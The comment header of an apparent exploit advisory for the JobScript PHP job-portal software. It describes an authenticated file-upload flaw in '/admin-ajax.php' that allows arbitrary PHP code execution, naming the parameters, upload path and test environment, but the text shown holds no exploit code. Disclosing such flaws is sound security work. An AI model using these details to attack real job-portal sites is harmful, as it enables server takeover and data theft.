# JobScript Remote Code Execution Exploit  
#  
#  
# Vendor: Jobscript  
# Product web page: http://www.jobscript.in  
# Affected version: Unknown  
#  
# Summary: JobScript is inbuilt structured website was developed in PHP and MySQL   
# database. It's a complete job script for those who wants to start a professional   
# job portal website like naukri.com, monster.com, clickjobs.com or any such major   
# job portals. Jobscript was designed and developed with the following features like   
# control panel for Employer's and also for Job Seeker's, email alerts, job search,   
# online resume, payment and membership plans.   
#  
# Desc: JobScript suffers from an authenticated arbitrary PHP code execution. The   
# vulnerability is caused due to the improper verification of uploaded files in   
# '/admin-ajax.php' script thru the 'name' and 'file' POST parameters. This can   
# be exploited to execute arbitrary PHP code by uploading a malicious PHP script   
# file with '.php' extension (to bypass the '.htaccess' block rule) that will be   
# stored in '/jobmonster/wp-content/uploads/jobmonster/' directory.  
#  
# Tested on: Apache 2.4.9  
# PHP 5.4.26  
#
